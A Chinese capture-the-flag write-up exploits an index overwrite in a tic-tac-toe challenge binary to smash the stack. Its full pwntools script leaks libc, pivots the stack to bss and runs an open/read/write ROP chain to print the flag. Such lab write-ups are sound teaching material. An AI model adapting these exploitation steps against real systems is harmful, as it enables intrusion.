game
漏洞点
控制玩家数量程序运行 if 内(下图红框)的游戏逻辑:
1 2 3
| p.sendlineafter("you xi?",'y') p.sendlineafter("tic-tac-toe?",'y') p.sendlineafter("layers ?","zero")
|
漏洞在输入 i j 坐标的第 9 轮,j 会覆盖轮次计数变量 v3 。
将 v3 改为负数可以实现向低地址的任意地址写。将 v3 覆盖为 -2 ,经过自加后下一轮写入位置是 __isoc99_scanf() 返回地址,即 s[-1] ,实现栈溢出。将 ROPchain 第一个 gadget 留在 s[-1] 再写入,剩余 ROPchain 顺序写入。
1 2 3 4 5 6 7 8
| p.sendlineafter("Your move?","{} {}".format(puts_got,0)) …… …… …… …… p.sendlineafter("Your move?","{} {}".format(0xfffffffe,0))
p.sendlineafter("Your move?","{} {}".format(pop_rdi_ret,0))
|
漏洞利用
puts 泄露 libc base addr 之后返回 main 函数或者 start_routime 函数都不能再次触发漏洞。
main 函数使用多线程调用 start_routime 函数,由于栈寄存器被破坏,pthread_create rdi 寄存区的值不符合条件,而导致无法运行 start_routime 函数。返回 start_routime 函数,会出现只能循环输入 4 次,无法再次触发漏洞溢出。
有设想过在第一次溢出的时候栈迁移,但由于溢出只能写入比 v3 低的内存空间,无法写 start_routime rbp rip。__isoc99_scanf rbp rip 都可以写入,但是我们需要的是先写入 ROPchain 利用链,然后再迁移,写 scanf rbp 和 rip 的话就是直接跳转,没有执行写入函数的位置。
查找一下有没有 pop rbp; ret
gadget ,有的话也能实现栈迁移利用。用 ROPgadget –only “pop|ret” 是找不出来,出题人预留的 gadget 多加了一个 nop 。
输入用 scanf(“%31s”) 写入,得到下面的 ROPchain :
1 2 3 4 5 6 7 8 9 10 11 12 13
| p.sendlineafter("Your move?","{} {}".format(puts_got,0)) p.sendlineafter("Your move?","{} {}".format(puts_plt,0)) p.sendlineafter("Your move?","{} {}".format(pop_rsi_rdi_rbp_nop_ret,0)) p.sendlineafter("Your move?","{} {}".format(bss,0))
p.sendlineafter("Your move?","{} {}".format(str_format,0)) p.sendlineafter("Your move?","{} {}".format(bss-0x8,0)) p.sendlineafter("Your move?","{} {}".format(scanf_plt,0)) p.sendlineafter("Your move?","{} {}".format(leave_ret,0))
p.sendlineafter("Your move?","{} {}".format(1,0)) p.sendlineafter("Your move?","{} {}".format(0xfffffffe,0)) p.sendlineafter("Your move?","{} {}".format(pop_rdi_ret,0))
|
然后就会出现第二个坑点,用 scanf 往 bss 段写内容,高 8 位为空时会中断写入,导致后面 ROP 利用链没有写入到内存中。传参 gadget 可以用 libc 中的,但是 bss 地址得用程序的,也就无法避免。参考官方 exp 这部分构造,先写入一个 gets ,然后在布置 gadget、参数、函数:
1 2 3 4
| payload = p64(gets_addr) payload += p64(pop_rdi_ret) payload += p64(bss+0x20) payload += p64(gets_addr)[:-2]
|
尝试替换第一个无效 gets ,结果不成功。原因不详,不再纠结,能用就行。
然后直接 orw 读取 flag 即可。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| from pwn import * context.log_level ='debug' context.arch = 'amd64'
p = remote("112.126.95.137",21446) elf = ELF("./game") libc = ELF("./libc.so.6")
bss = 0x404780 pop_rdi_ret = 0x401d23 pop_rsi_r15_ret = 0x401d21 pop_rsi_rdi_rbp_nop_ret = 0x401382 leave_ret = 0x0000000000401699 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] scanf_plt = elf.plt['__isoc99_scanf'] str_format = 0x40213C main_addr = 0x401C70
p.sendlineafter("you xi?",'y') p.sendlineafter("tic-tac-toe?",'y') p.sendlineafter("layers ?","zero")
p.sendlineafter("Your move?","{} {}".format(puts_got,0)) p.sendlineafter("Your move?","{} {}".format(puts_plt,0)) p.sendlineafter("Your move?","{} {}".format(pop_rsi_rdi_rbp_nop_ret,0)) p.sendlineafter("Your move?","{} {}".format(bss,0))
p.sendlineafter("Your move?","{} {}".format(str_format,0)) p.sendlineafter("Your move?","{} {}".format(bss-0x8,0)) p.sendlineafter("Your move?","{} {}".format(scanf_plt,0)) p.sendlineafter("Your move?","{} {}".format(leave_ret,0))
p.sendlineafter("Your move?","{} {}".format(1,0)) p.sendlineafter("Your move?","{} {}".format(0xfffffffe,0)) p.sendlineafter("Your move?","{} {}".format(pop_rdi_ret,0))
p.recvline() puts_addr = u64(p.recv(6).ljust(8,'\x00')) print("puts_addr:",hex(puts_addr)) libc_base = puts_addr - libc.sym['puts'] print("libc_base:",hex(libc_base)) open_addr = libc_base + libc.sym['open'] write_addr = libc_base + libc.sym['write'] read_addr = libc_base + libc.sym['read'] gets_addr = libc_base + libc.sym['gets']
payload = p64(gets_addr) payload += p64(pop_rdi_ret) payload += p64(bss+0x20) payload += p64(gets_addr)[:-2] sleep(0.5) p.sendline(payload)
payload = p64(pop_rdi_ret) payload += p64(0x404848) payload += p64(libc_base+next(libc.search(asm('pop rsi;ret'),executable=True))) payload += p64(0) payload += p64(open_addr)
payload += p64(pop_rdi_ret) payload += p64(3) payload += p64(libc_base+next(libc.search(asm('pop rsi;ret'),executable=True))) payload += p64(bss) payload += p64(libc_base+next(libc.search(asm('pop rdx;pop r12;ret'),executable=True))) payload += p64(0x40)*2 payload += p64(read_addr)
payload += p64(pop_rdi_ret) payload += p64(1) payload += p64(libc_base+next(libc.search(asm('pop rsi;ret'),executable=True))) payload += p64(bss) payload += p64(libc_base+next(libc.search(asm('pop rdx;pop r12;ret'),executable=True))) payload += p64(0x40)*2 payload += p64(write_addr)
payload += "./flag\x00"
p.sendline(payload)
p.interactive()
|